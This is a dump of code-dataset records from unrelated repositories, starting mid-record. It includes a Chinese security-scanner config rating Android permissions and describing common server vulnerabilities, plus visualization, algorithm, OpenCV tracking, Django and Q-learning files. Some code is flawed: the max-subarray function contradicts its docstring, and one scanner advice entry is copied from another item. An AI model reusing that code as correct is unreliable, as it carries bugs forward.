u'改变WiFi多播状态',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得改变WiFi多播状态的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CHANGE_WIFI_MULTICAST_STATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CWJ_GROUP' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CWJ_GROUP',\r\n        'desc' : u'底层访问权限，允许CWJ账户组访问底层信息',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得底层访问权限的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CWJ_GROUP',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CELL_PHONE_MASTER_EX' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CELL_PHONE_MASTER_EX',\r\n        'desc' : u'手机优化大师扩展权限',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得手机优化大师扩展权限的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CELL_PHONE_MASTER_EX',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.GLOBAL_SEARCH' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.GLOBAL_SEARCH',\r\n        'desc' : u'允许全局搜索',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得允许全局搜索的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.GLOBAL_SEARCH',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.INSTALL_LOCATION_PROVIDER' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.INSTALL_LOCATION_PROVIDER',\r\n        'desc' : u'安装定位提供',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得安装定位提供的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.INSTALL_LOCATION_PROVIDER',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.KILL_BACKGROUND_PROCESSES' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.KILL_BACKGROUND_PROCESSES',\r\n        'desc' : u'结束后台进程，允许程序调用killBackgroundProcesses(String).方法结束后台进程',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得结束后台进程的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.KILL_BACKGROUND_PROCESSES',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.MANAGE_ACCOUNTS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.MANAGE_ACCOUNTS',\r\n        'desc' : u'允许程序管理AccountManager中的账户列表',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得允许程序管理AccountManager中的账户列表的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.MANAGE_ACCOUNTS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.MTWEAK_USER' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.MTWEAK_USER',\r\n        'desc' : u'允许mTweak用户访问高级系统权限',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得允许mTweak用户访问高级系统权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.MTWEAK_USER',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.MTWEAK_FORUM' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.MTWEAK_FORUM',\r\n        'desc' : u'允许使用mTweak社区权限',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得允许使用mTweak社区权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.MTWEAK_FORUM',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.MOUNT_FORMAT_FILESYSTEMS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.MOUNT_FORMAT_FILESYSTEMS',\r\n        'desc' : u'格式化可移动文件系统，比如格式化清空SD卡',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得格式化可移动文件系统的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.MOUNT_FORMAT_FILESYSTEMS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.NFC' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.NFC',\r\n        'desc' : u'允许程序执行NFC近距离通讯操作，用于移动支持',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得允许程序执行NFC近距离通讯操作的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.NFC',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.com.android.alarm.permission.SET_ALARM' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.com.android.alarm.permission.SET_ALARM',\r\n        'desc' : u'设置闹铃提醒',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得设置闹铃提醒的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'com.android.alarm.permission.SET_ALARM',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.UPDATE_DEVICE_STATS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.UPDATE_DEVICE_STATS',\r\n        'desc' : u'更新设备状态',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得更新设备状态的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.UPDATE_DEVICE_STATS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.USE_CREDENTIALS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.USE_CREDENTIALS',\r\n        'desc' : u'使用证书',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得使用证书的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.USE_CREDENTIALS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.USE_SIP' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.USE_SIP',\r\n        'desc' : u'使用SIP视频',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得使用SIP视频的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.USE_SIP',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WRITE_SECURE_SETTINGS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_SECURE_SETTINGS',\r\n        'desc' : u'允许程序读写系统安全敏感的设置项',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得允许程序读写系统安全敏感的设置项的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_SECURE_SETTINGS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n}\r\nServerItemDict = {\r\n    '6_0' : {\r\n        'type' : 1,\r\n        'name' : u'SQL注入',\r\n        'desc' : u'攻击者注入SQL命令以欺骗服务器，从而可以执行恶意操作',\r\n        'level' : u'中危',\r\n        'harm' : u'1.通过SQL注入，执行非授权的SQL代码\\n2.攻击者进行提权操作，控制整个服务器',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'1.如果应用程序使用一些用户输入的数据来构造动态的SQL语句去访问数据库，将可能遭受到SQL注入攻击\\n2.如果在代码中使用了存储过程，并且这些存储过程缺乏对用户输入的合理限制，则也很容易发生SQL注入',\r\n        'adviseT' : u'1.进行完善的代码检查，避免SQL注入漏洞，比如，使用绑定变量\\n2.及时进行数据库版本升级，防止数据库版本过低而导致提权漏洞\\n3.对日志进行全面的审计，及时预防攻击行为',\r\n    },\r\n\r\n    '6_1' : {\r\n        'type' : 1,\r\n        'name' : u'Xss跨站脚本',\r\n        'desc' : u'恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的',\r\n        'level' : u'中危',\r\n        'harm' : u'取决于用户输入了什么样的脚本，技术熟练的攻击者可以利用XSS攻下服务器',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于大多数程序员不太注意对用户输入的字符串进行细致的检验，或经过一定的检验但忽略了相关的细节，容易留下xss漏洞。而一旦有xss漏洞经过利用变会造成无可估量的损失',\r\n        'adviseT' : u'1.将重要的cookie标记为http only\\n2.只允许用户输入我们期望的数据\\n3.对数据进行Html Encode 处理过滤或移除特殊的Html标签\\n4过滤JavaScript 事件的标签',\r\n    },\r\n\r\n    '6_2' : {\r\n        'type' : 1,\r\n        'name' : u'缓冲区溢出',\r\n        'desc' : u'通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的',\r\n        'level' : u'中危',\r\n        'harm' : u'1.缓冲区溢出的危害性具有破坏性与隐蔽性的特点。\\n2.破坏性体现在易使服务程序停止运行\\n3.隐蔽性体现在攻击的随机性及不可预测性',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'1.导致程序运行失败等后果\\n2.执行非授权指令，甚至获得目标主机的控制权',\r\n        'adviseT' : u'1.代码编写：避免使用危险函数，对于缓冲区的操作要进行严格的边界检查，这可借助一些工具如编译器来实现\\n2.开发语言：可使用类型\u001F安全的编程语言\\n3.运行状态：可进行动态保护，主要是数组边界检查和保证返回指针的完整性',\r\n    },\r\n\r\n    '6_3' : {\r\n        'type' : 1,\r\n        'name' : u'文件上传漏洞',\r\n        'desc' : u'攻击者利用程序缺陷绕过系统对文件的验证与处理策略将恶意程序上传到服务器并获得执行服务器端命令的能力',\r\n        'level' : u'中危',\r\n        'harm' : u'攻击者可以利用文件上传漏洞所得到的权限最低也是WEBSHELL，甚至可以获得管理员权限',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于大多数程序员不太注意对上传文件进行细致的过滤，或经过一定的检验过滤但忽略了相关的细节，容易���下文件上传漏洞，而一旦有文件上传漏洞经过利用变会造成无可估量的损失',\r\n        'adviseT' : u'1.检查是否判断了上传文件类型及后缀\\n2.文件上传目录禁止脚本解析。\\n3.运行状态：可进行动态保护，主要是数组边界检查和保证返回指针的完整性。\\n4.建议使用随机字符串重命名文件名，而不是使用用户上传上来的name参数的值',\r\n    },\r\n\r\n    '6_4' : {\r\n        'type' : 1,\r\n        'name' : u'数据库泄露',\r\n        'desc' : u'数据库存在泄露的风险，有被非法下载利用的威胁',\r\n        'level' : u'中危',\r\n        'harm' : u'数据库泄露，数据库被非法下载',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于数据库用户存在弱口令漏洞，或者数据库用户的权限过大等问题，导致数据库存在泄露的风险',\r\n        'adviseT' : u'1.对数据库加密\\n2.对数据库连接文件加密。\\n3.使用基于数据加密的应用绑定技术，防止非法访问。\\n4.增加用户的身份鉴别强度\\n5.数据库管理员需要按最小原则构建安全的权限体系',\r\n    },\r\n\r\n    '6_5' : {\r\n        'type' : 1,\r\n        'name' : u'弱口令漏洞',\r\n        'desc' : u'口令的组成是简单数字和字母的简单组合',\r\n        'level' : u'低危',\r\n        'harm' : u'弱口令极其容易被猜测到或被破解工具爆破',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于弱口令只是数字和字母的简单组合，或者是一些可以根据社会工程猜测出的字符串，所以极其容易被破解',\r\n        'adviseT' : u'1.对于密码设置：强制对所有的密码强度必须达到一定的级别\\n2.对于服务器安全机制：限制错误登录次数单位时间内验证的过多则封杀ip',\r\n    },\r\n\r\n    '6_6' : {\r\n        'type' : 1,\r\n        'name' : u'跨权漏洞',\r\n        'desc' : u'攻击者通过普通用户提升权限而获得管理员权限，最终控制服务器',\r\n        'level' : u'高危',\r\n        'harm' : u'提权漏洞一旦被触发，攻击者就可以非法操纵系统一切可以操纵的资源',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'攻击者利用权限提升漏洞，通过普通用户提升权限而获得管理员权限，最终控制服务器',\r\n        'adviseT' : u'1.用户端安全设置\\n2.服务器安全权限设置',\r\n    },\r\n}","repo_name":"ichoukou/git_repository","sub_path":"ass_to_all_two/itemConfigs.py","file_name":"itemConfigs.py","file_ext":"py","file_size_in_byte":170503,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28254796987","text":"from pafo.triangle import Triangle, PlanarTriangle\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nimport pathlib\nthisdir = pathlib.Path(__file__).resolve().parent\nfrom functools import partial\nimport numpy as np \nfrom typing import Tuple\n\ntry:\n    from tests.visualize_solution import plot\nexcept:\n    from visualize_solution import plot\n\ndef perp(a: np.ndarray) -> np.ndarray:\n    b = np.empty_like(a)\n    b[0] = -a[1]\n    b[1] = a[0]\n    return b\n\ndef seg_intersect(a1: np.ndarray, a2: np.ndarray, b1: np.ndarray, b2: np.ndarray) -> np.ndarray:\n    da = a2-a1\n    db = b2-b1\n    dp = a1-b1\n    dap = perp(da)\n    denom = np.dot( dap, db)\n    num = np.dot( dap, dp )\n    return (num / denom.astype(float))*db + b1\n\ndef main():\n    fig: plt.Figure\n    ax: plt.Axes\n\n    speed = 0.05\n\n    R = PlanarTriangle([\n        [0, 0], [1, 0], [0.6, 0.2]\n    ])\n    P = Triangle([30, 60, 90], deg=True)\n    Q = R.min_max_traversal_triangle(P)\n    pad = 0.02\n    focal = seg_intersect(R.points[0], Q.points[0], R.points[1], Q.points[1])\n\n    x_min = np.min([focal[0], *R.points[:,0], *Q.points[:,0]])-pad\n    x_max = np.max([focal[0], *R.points[:,0], *Q.points[:,0]])+pad\n    y_min = np.min([focal[1], *R.points[:,1], *Q.points[:,1]])-pad\n    y_max = np.max([focal[1], *R.points[:,1], *Q.points[:,1]])+pad\n\n    savepath = thisdir.joinpath(\"focal\")\n    for i in range(10):\n        with plot(savepath, x_min, x_max, y_min, y_max) as (fig, ax):\n            ax.scatter(*focal, c=\"blue\")\n            \n            _R = PlanarTriangle(R.points + (Q.points - R.points) * i / 9)\n            Q.plot(fig, ax, \"green\")\n\n            ax.add_collection(LineCollection(\n                [[Q.points[2], focal]],\n                linestyles=\"--\", colors=\"black\"\n            ))\n            ax.add_collection(LineCollection(\n                [[R.points[0], focal], [R.points[1], focal]],\n                linestyles=\"--\", colors=\"black\"\n            ))\n\n            ax.scatter(*_R.points.T, c=\"black\")\n            ax.scatter(*Q.points.T, c=\"green\")\n\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"jaredraycoleman/pafo","sub_path":"tests/visualize_focal.py","file_name":"visualize_focal.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43374227126","text":"\"\"\"\nAuthor: Uchenna Edeh\nGiven an array of numbers, find the maximum sum of any contiguous subarray of the array.\n\nFor example, given the array [34, -50, 42, 14, -5, 86], the maximum sum would be 137, since we would take elements 42, 14, -5, and 86.\n\nGiven the array [-5, -1, -8, -9], the maximum sum would be 0, since we would not take any elements.\n\nDo this in O(N) time.\nAlgorithms:\nuse three variables\n1. running_max_sum\n2. max_sum\n3. max_sum_from_last_smallest_num\n\"\"\"\nimport sys\n\ndef solution1(A):\n    max_sum_contiguos = A[0]\n    current_sum = 0\n    previous = 0\n\n    for i, val in enumerate(A): \n        current_sum = val + current_sum   \n\n        if current_sum  > max_sum_contiguos:        \n            max_sum_contiguos = current_sum\n        else:\n           if val > current_sum:\n               current_sum = val\n           if current_sum > max_sum_contiguos:\n               max_sum_contiguos = current_sum\n\n    previous = val\n\n    return max_sum_contiguos \n     \n\ndef main(args):\n    if len(args) != 2:\n        raise AssertionError(\"Usage:\\n\\tpython3 {0} '{1}'\\n\\tExpected Result: {2}\\n\\tPlease Try Again!\\n\\t\".format(__file__, \"34, -50, 42, 14, -5, 86\", '137' ))\n    my_list = [int(x) for x in args[1].split(',')]\n    print(solution1(my_list))\n\nif __name__ == \"__main__\":\n    try:\n        main(sys.argv)\n    except AssertionError as e:\n        print(e)\n        sys.exit(1)\n\n","repo_name":"uchenna-j-edeh/dailly_problems","sub_path":"arrays_manipulations_algorithms/max_sum_contiguous_subarray.py","file_name":"max_sum_contiguous_subarray.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"75337617287","text":"import time\nimport cv2\nimport sys\nimport numpy\nimport trackingBox\nimport socketio\nimport json\nimport rel\n\ntracker_types = ['KCF','MOSSE', 'CSRT']\ntracker_type = tracker_types[2]\n\ncamera_motion = trackingBox.CameraMove(\"http://10.4.145.139:5000/controller\")\n\n#face_detect = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n#face_detect = cv2.CascadeClassifier('haarcascade_fullbody.xml')\n\n\nfacebox1 = (0,0,0,0)\nfacebox2 = (0,0,0,0)\ninitial_find1 = False\ninitial_find2 = False\ntrackingFailure1 = 1\ntrackingFailure2 = 1\ncenterX1 = 300\ncenterX2 = 300\ncenterAngleX = 0\ncenterAngleY = 3\ncurrentAngle = 0\nincrementAngle = 1\n\n\nif tracker_type == 'KCF':\n    TrackerFunction = cv2.TrackerKCF_create\nelif tracker_type == 'MOSSE':\n    TrackerFunction = cv2.TrackerMOSSE_create\nelif tracker_type == \"CSRT\":\n    TrackerFunction = cv2.TrackerCSRT_create\n\ntracker1 = TrackerFunction()\ntracker2 = TrackerFunction()\n\n\n# Starts the video and lets the camera focus for a second\nvideo = cv2.VideoCapture(1) # for using CAM\n#video = cv2.VideoCapture(\"rtsp://10.4.145.139:8554/cam\")\ntime.sleep(1.0)\n \n# Exit if video not opened.\nif not video.isOpened():\n    print(\"Could not open video\")\n    sys.exit()\n\n# Read first frame.\nok, frame = video.read()\nif not ok:\n    print ('Cannot read video file')\n    sys.exit()\n\n\nwhile True:\n    #Read in the frame data \n    ok, frame = video.read()\n    #frame = cv2.flip(frame,1)\n\n    # If the frame data cannot be read then exit the tracking loop\n    if not ok:\n        break\n    \n    # Getting the time before running the tracking algorithm\n    timer = cv2.getTickCount()\n\n    frameWidth  = video.get(cv2.CAP_PROP_FRAME_WIDTH)\n    \n\n    key_pressed = cv2.waitKey(1) & 0xFF\n    \n    # Gets the initial bounding boxes for the faces detected in the frame\n    if (key_pressed == ord('s')) or ((initial_find1 == 0) or (initial_find2 == 0)): # runs if the face tracking algorithm\n        #Converting the frame to gray tone so that the face detection can work\n        #gray_frame = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n        \n        #Detecting the faces in the frame\n        #faces = face_detect.detectMultiScale(gray_frame,1.1,3)\n        faces = cv2.selectROIs(\"Select Fencers\",frame,False)\n        #print(faces)\n        cv2.destroyWindow(\"Select Fencers\")\n\n        #Checking the number of faces in the frame\n        num_faces = numpy.shape(faces)\n        # Tracking success\n        if num_faces[0] < 1:\n            initial_find1 = False\n            initial_find2 = False\n            camera_motion.move(centerAngleX,centerAngleY)\n            currentAngle = centerAngleX\n        elif num_faces[0] < 2:\n            facebox1 = (faces[0][0],faces[0][1],faces[0][2],faces[0][3])\n            tracker1 = TrackerFunction()\n            ok1 = tracker1.init(frame, facebox1)\n            initial_find1 = True\n        # If there is more than two faces in frame draw bounding boxes for the first two\n        else:\n            facebox1 = (int(faces[0][0]),int(faces[0][1]),int(faces[0][2]),int(faces[0][3]))\n            facebox2 = (int(faces[1][0]),int(faces[1][1]),int(faces[1][2]),int(faces[1][3]))\n            tracker1 = TrackerFunction()\n            ok1 = tracker1.init(frame, facebox1)\n            initial_find1 = True\n            tracker2 = TrackerFunction()\n            ok2 = tracker2.init(frame, facebox2)\n            initial_find2 = True\n    elif key_pressed == ord('q'): # if press q \n        break\n\n    # Tracking the first object\n    if facebox1 and initial_find1:\n        # Tracking success\n        trackingFailure1 = 0\n        ok1, facebox1 = tracker1.update(frame)\n        p1 = (int(facebox1[0]), int(facebox1[1]))\n        p2 = (int(facebox1[0] + facebox1[2]), int(facebox1[1] + facebox1[3]))\n        centerX1, centerY1 = trackingBox.center(facebox1)\n        cv2.rectangle(frame, p1, p2, (0,255,255), 2, 1)\n        cv2.line(frame, (centerX1-5, centerY1), (centerX1+5, centerY1), (0,255,255), 1)\n        cv2.line(frame, (centerX1, centerY1-5), (centerX1, centerY1+5), (0,255,255), 1)\n    else :\n        # Tracking failure\n        trackingFailure1 = 1\n        cv2.putText(frame, \"Tracking failure detected on 1\", (100,80), cv2.FONT_HERSHEY_SIMPLEX, 0.75,(0,0,255),2)\n\n    # Tracking the second object\n    if facebox2 and initial_find2:\n        # Tracking success\n        trackingFailure2 = 0\n        ok2, facebox2 = tracker2.update(frame)\n        p1 = (int(facebox2[0]), int(facebox2[1]))\n        p2 = (int(facebox2[0] + facebox2[2]), int(facebox2[1] + facebox2[3]))\n        centerX2, centerY2 = trackingBox.center(facebox2)\n        cv2.rectangle(frame, p1, p2, (255,0,255), 2, 1)\n        cv2.line(frame, (centerX2-5, centerY2), (centerX2+5, centerY2), (255,0,255), 1)\n        cv2.line(frame, (centerX2, centerY2-5), (centerX2, centerY2+5), (255,0,255), 1)\n    else :\n        # Tracking failure\n        trackingFailure2 = 1\n        cv2.putText(frame, \"Tracking failure detected on 2\", (100,110), cv2.FONT_HERSHEY_SIMPLEX, 0.75,(0,0,255),2)\n\n    \n    if (trackingFailure1 == 0) and (trackingFailure2 == 0):\n        moveLeft, moveRight = trackingBox.movementOfMovingCamera(frameWidth,centerX1,centerX2)\n        currentAngle = currentAngle - moveLeft + moveRight\n        if(currentAngle < 20) and (currentAngle > -20):\n            camera_motion.move(currentAngle,centerAngleY)\n        elif(currentAngle > 20):\n            currentAngle = 20\n        elif(currentAngle < -20):\n            currentAngle = -20\n        print(frameWidth)\n        print(centerX1)\n        print(centerX2)\n        print(moveRight)\n        print(moveLeft)\n        \n\n\n\n    # Calculate Frames per second (FPS)\n    fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer)\n\n    #Displaying the tracking algorithm\n    cv2.putText(frame, tracker_type + \" Tracker\", (100,20), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50,170,50),2)\n    \n    # Display FPS on frame\n    cv2.putText(frame, \"FPS : \" + str(int(fps)), (100,50), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50,170,50), 2)\n        # Display result\n    cv2.imshow(\"Tracking\", frame)\n\nvideo.release()\ncv2.destroyAllWindows()","repo_name":"UAHFencingClub/VideoReplaySystem","sub_path":"MotionCamera/multiple_tracking.py","file_name":"multiple_tracking.py","file_ext":"py","file_size_in_byte":6049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"42661350222","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect\nfrom django.core.mail import send_mail\n\nfrom .forms import ContactForm\nfrom farmacias.models import Pharmacy\n\n# Create your views here.\n\n\ndef contact_form(request):\n\n    pharmacy = Pharmacy.objects.get(name='schestakow')\n\n    if request.method == 'POST':\n        form = ContactForm(request.POST)\n\n        if form.is_valid():\n            name = form.cleaned_data['name']\n            sender = form.cleaned_data['sender']\n            message = form.cleaned_data['message']\n\n            recipients = ['fschestakow@gmail.com']\n            content = '%s\\nCorreo: %s\\nDice: %s' % (name, sender, message)\n            subject = 'Correo a través de la pagina web'\n\n            send_mail(subject,\n                      content,\n                      sender,\n                      recipients)\n\n            return HttpResponseRedirect('./')\n\n    else:\n        form = ContactForm()\n\n    return render(request, 'contacto/contact.html', {'form': form,\n                                                     'pharmacy': pharmacy})\n","repo_name":"augustodn/fschestakow","sub_path":"contacto/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42086688215","text":"from Objects.Classes.Connect4Game import Connect4GameClass\nfrom Objects.Classes.QLearningAgent import QLearningAgentClass\nimport matplotlib.pyplot as plt\n\nclass Connect4TrainerClass:\n    def __init__(self, opponent=None, num_episodes=500, q_table_path= \"Q_tables\", starting_policy=\"alternate\", espilon_decay=None, min_epsilon=None, q_table_name = \"q_table.pkl\"):\n        self.num_episodes = num_episodes\n        self.q_table_path = q_table_path\n        # Initialize the Q-learning agent\n        self.agent = QLearningAgentClass(\n            action_space=Connect4GameClass().columns,\n            learning_rate=0.1,\n            discount_factor=0.9,\n            epsilon=1.0,\n            epsilon_decay=0.99999 if not espilon_decay else espilon_decay,\n            min_epsilon=0.05 if not min_epsilon else min_epsilon,\n            q_table_name = q_table_name\n        )\n        self.opponent = opponent() if opponent else self.agent\n        # Starting policy\n        self.starting_policy = starting_policy  # Added parameter for starting policy\n        self.agent_starts = starting_policy != 'never_start'  # Determine if agent starts in the first game\n\n\n    def train(self):\n        # Initialize the Connect4 environment\n        connect4_env = Connect4GameClass(rows=4, columns=5, in_a_row=4)\n\n        Q_size = []\n        for episode in range(self.num_episodes):\n            current_state = connect4_env.reset()\n            done = False\n\n            # New logic for handling who starts the game\n            if self.starting_policy == 'alternate':\n                self.agent_starts = not self.agent_starts\n            elif self.starting_policy == 'never_start':\n                self.agent_starts = False  # Ensure agent never starts\n            \n            # If opponent starts, make the first move for the opponent\n            if not self.agent_starts and self.opponent:\n                current_state, _ = self.opponent.play(connect4_env, current_state, False)\n\n            while not done:\n                possible_actions = connect4_env.possible_actions()\n                action = self.agent.choose_action(current_state, possible_actions)\n\n                # Apply the action to the environment\n                next_state, reward, done = connect4_env.step(action)\n\n                # If there is an opponent, let the opponent play here\n                if self.opponent:\n                    next_state, done = self.opponent.play(connect4_env, next_state, done)\n\n                # Agent learns from the action\n                self.agent.update_q_table(current_state, action, reward, next_state, done, possible_actions)\n                current_state = next_state\n\n            # Progress tracking\n            if episode % 1000 == 0:\n                table = self.agent.q_table\n                size = len(table)\n                Q_size.append(size)\n                print(f\"Episode {episode} complete. Q-table size: {size}, epsilon: {self.agent.epsilon}\")\n\n        # Save the Q-table\n        self.agent.save_q_table(self.q_table_path, q_table_name=self.agent.q_table_name)\n        return Q_size\n        # Plotting the Q-table size\n        \n\n\n\n\n    